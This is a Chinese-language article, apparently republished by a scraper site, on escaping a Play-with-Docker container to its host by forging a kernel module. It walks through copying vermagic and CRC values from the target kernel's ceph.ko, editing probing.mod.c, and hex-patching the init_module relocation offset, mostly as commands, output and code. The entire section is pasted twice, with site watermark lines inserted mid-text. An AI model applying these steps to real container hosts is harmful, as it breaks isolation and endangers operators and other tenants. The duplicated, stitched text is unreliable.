攻击者是如何从Play-with-Docker容器逃逸到Docker主机的 (下)
(接上文)
第3步:编辑相关的字段以匹配目标内核。
我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。
之后,我们就得到PWD的CEPH.KO模块。
为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:
$ modinfo ceph.ko
filename: /root/cprojects/kernelmod/play-docker/ceph.ko
license: GPL
description: Ceph filesystem for Linux
author: Patience Warnick
author: Yehuda Sadeh
author: Sage Weil
alias: fs-ceph
srcversion: C985B22FADB19E9D06914CC
depends: libceph,fscache
intree: Y
vermagic: 4.4.0-96-generic SMP mod_unload modversions
signat: PKCS#7
signer:
sig_key:
sig_hashalgo: md4
记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。
生成的头文件需要用到3个CRC符号:
module_layout, printk and __fentry__.
为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:
# modprobe --dump-modversions ceph.ko | grep printk
0x27e1a049 printk
# modprobe --dump-modversions ceph.ko | grep module_layout
0xfc5ded98 module_layout
# modprobe --dump-modversions ceph.ko | grep __fentry
0xbdfb6dbb __fentry__
现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:
#include
#include
#include
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。
第4步:修改init_module偏移量。
加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:
$ readelf -a ceph.ko | less
向下翻卷,直到找到如下行所示内容为止:
偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend
000000000180 052900000001 R_X86_64_64 0000000000000000 init_module + 0
000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
注意,init_module的可重定位偏移量为0x180。
接下来,需要考察probing模块的init_module偏移量:
$ readelf -a probing.ko | less
向下翻卷,直到找到如下init_module所示内容为止:
在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend
000000000178 002900000001 R_X86_64_64 0000000000000000 init_module + 0
000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。
为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。
(接上文)
第3步:编辑相关的字段以匹配目标内核。
我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。
之后,我们就得到PWD的CEPH.KO模块。
为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:
$ modinfo ceph.ko
filename: /root/cprojects/kernelmod/play-docker/ceph.ko
license: GPL
description: Ceph filesystem for Linux
author: Patience Warnick
author: Yehuda Sadeh
author: Sage Weil
alias: fs-ceph
srcversion: C985B22FADB19E9D06914CC
depends: libceph,fscache
intree: Y 无奈人生安全网
vermagic: 4.4.0-96-generic SMP mod_unload modversions
signat: PKCS#7
signer:
sig_key:
sig_hashalgo: md4
记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。
生成的头文件需要用到3个CRC符号:
module_layout, printk and __fentry__.
为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:
# modprobe --dump-modversions ceph.ko | grep printk
0x27e1a049 printk
# modprobe --dump-modversions ceph.ko | grep module_layout
0xfc5ded98 module_layout
# modprobe --dump-modversions ceph.ko | grep __fentry
0xbdfb6dbb __fentry__
现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:
#include
#include
#include
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions "); 本文来自无奈人生安全网
MODULE_INFO(name, KBUILD_MODNAME);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends="; 无奈人生安全网
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。
第4步:修改init_module偏移量。
加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:
$ readelf -a ceph.ko | less
向下翻卷,直到找到如下行所示内容为止:
偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend
000000000180 052900000001 R_X86_64_64 0000000000000000 init_module + 0
000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
本文来自无奈人生安全网
注意,init_module的可重定位偏移量为0x180。
接下来,需要考察probing模块的init_module偏移量:
$ readelf -a probing.ko | less
向下翻卷,直到找到如下init_module所示内容为止:
在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend
000000000178 002900000001 R_X86_64_64 0000000000000000 init_module + 0
000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。
为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。
本文来自无奈人生安全网